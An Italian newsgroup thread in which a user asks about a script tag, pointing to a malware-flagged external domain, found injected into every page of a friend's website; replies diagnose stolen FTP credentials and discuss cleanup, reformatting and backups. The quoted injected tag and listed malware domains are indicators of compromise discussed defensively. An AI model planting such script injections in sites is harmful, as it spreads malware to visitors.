Newsgroup: it.lavoro.professioni.webmaster
Titolo: SCRIPT

In un sito di un amico e' apparsa in tutte le pagine questa riga dopo ogni 
HEAD.
<script src=
http://freddyboy1.se/PSD/fyrhjuling.php
 >
Lui credo non ne sappia niente, ma il mio antispyware me lo ha segnalato 
come script pericoloso e lo ha bloccato..
Mcafee lo segnala come sito dannoso... Come ci e' finito li'?
Puo' essere stato il mio amico?
E cosa e' li a fare?
Grazie
Luca


CROME DICE:
Navigazione sicura
Pagina di diagnostica per 
freddyboy1.se
Qual � lo stato corrente del sito 
freddyboy1.se
?
Il sito � contrassegnato come sospetto. La visita di questo sito 
potrebbe danneggiare il tuo computer.
Parte di questo sito � stata contrassegnata come avente attivit� 
sospetta 3 volte nel corso degli ultimi 90 giorni.
Che cosa � successo quando Google ha visitato questo sito?
Delle 2 pagine che abbiamo testato sul sito negli ultimi 90 giorni, 2 
pagine hanno causato il download e l'installazione di software dannosi 
senza l'autorizzazione dell'utente. L'ultima volta in cui Google ha 
visitato questo sito � stato il 2009-10-16, mentre l'ultima volta in cui 
sono stati rilevati contenuti sospetti su questo sito � stato il 2009-10-16.
Malicious software includes 2 trojan(s), 1 scripting exploit(s).
Il software dannoso � presente in 7 domini, tra cui 
212.174.200.0/
, 
testavrdown.com/
, 
downloadavr5.com/
.
1 domini sembrano operare da intermediari per la distribuzione di 
malware ai visitatori di questo sito, tra questi 
step2me.net/
.
This site was hosted on 1 network(s) including AS16245 (NGDC).
Questo sito ha operato da intermediario causando un'ulteriore 
distribuzione di malware?
Negli ultimi 90 giorni 
freddyboy1.se
 non sembra aver operato come 
intermediario per l'infezione di altri siti.
Questo sito ha ospitato malware?
No, questo sito non ha ospitato software dannosi negli ultimi 90 giorni.
In che modo � avvenuto?
In alcuni casi, pu� succedere che un codice dannoso venga aggiunto a 
siti autentici da terzi causando la visualizzazione del nostro messaggio 
di avviso.
Passaggi successivi:
Torna alla pagina precedente.
Se sei il proprietario di questo sito web, puoi richiedere che il sito 
venga esaminato utilizzando gli Strumenti per i Webmaster di Google. Per 
ulteriori informazioni sul processo di verifica dei siti, consulta il 
Centro assistenza Webmaster di Google.

 danneggiare il tuo computer.
Grazie. Scaricato crome e visto.
Ma e' possibile averlo aggiunto senza che il webmaster se ne sia accorto?

 Ma e' possibile averlo aggiunto senza che il webmaster se ne sia accorto?
in poche parole: sono riusciti a entrare sul sistema e caricare quelle 
pagine.... devi ripularlo, capire come sono entrati e "chiudere la porta"...

 Ma e' possibile averlo aggiunto senza che il webmaster se ne sia accorto?
come no.  tu magari chiudi la porta di casa a chiave ma qualcuno
riesce ad entrare lo stesso.
contattate immediatamente il vostro provider, comunque.

Ma e' possibile averlo aggiunto senza che il webmaster se ne sia accorto?
Facile: il suo computer (o quello di qualcun altro che ha usato la
password) ï¿œ impestato da qualche malware che gli ha rubato le
credenziali di FTP. Inutile usare antivirus, occorre riformattare e POI
cambiare la password.
Controllando il log troverete gli accessi corrispondenti.
(Inutile anche incolpare l'hoster.)
-- 
ciao,
Marco

 (Inutile anche incolpare l'hoster.)
Grazie 

 ha scritto nel messaggio
news:4ada1338$0$1098$4faf...@reader3.news.tin.it...

Si si formatta, formatta, � come il chirurgo che invece di curare amputa.

 Si si formatta, formatta, ï¿œ come il chirurgo che invece di curare amputa.
Questione di costi.
Se devo passare 6/8 ore a cercare di scovare dove si annida il problema, 
il client si formatta: mezz'ora di tempo per la reinstallazione, un'ora 
di lavoro per i programmi /configurazioni.
Sui server ci si pensa un po' di piï¿œ, ma se hai lavorato bene _prima_, i 
rischi sono molto piï¿œ bassi.
ciao
filippo b.
--
http://www.danzainsieme.it
http://www.boschetti.info

 
Sui server formattare invece ci si pensa anche prima se si ha un bel 
backup, in quanto un server se compromesso ha problematiche maggiori e 
si possono ripecuotere su piï¿œ client e sistemi.

 si possono ripecuotere su piï¿œ client e sistemi.
Cosa non ï¿œ chiaro della frase "se hai lavorato bene _prima_ "? Mi sembra 
che tu stia dicendo la stessa cosa.
ciao
Filippo B.


Questione di costi.
No, di risultati. Gli antivirus spesso non sono in grado di eliminare
tutti i pezzi installati dal malware.
Inoltre, reinstallando si aggiornano tutte le applicazioni compresa
quella vulnerabile che ha consentito l'infezione.
-- 
ciao,
Marco

 
backuppate gente backuï¿œppate e tenete anche le immagini originali. :P

 amputa.
se fosse capace di asportare chirurgicamente e in maniera sicura il 
maleware non si sarebbe ritrovato in quelle condizioni.


Studiare?